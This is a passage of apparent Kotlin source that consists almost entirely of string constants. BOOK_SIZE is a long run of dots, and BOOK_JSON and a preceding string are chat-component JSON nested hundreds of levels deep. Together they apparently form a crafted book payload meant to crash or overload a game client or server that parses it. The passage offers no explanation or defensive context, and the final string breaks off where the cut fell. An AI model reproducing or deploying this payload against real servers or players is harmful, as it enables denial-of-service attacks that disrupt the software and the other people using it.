"{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}" + private val BOOK_SIZE = + "................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................." + private val BOOK_JSON = + "{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{extra:[{text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}],text:a}]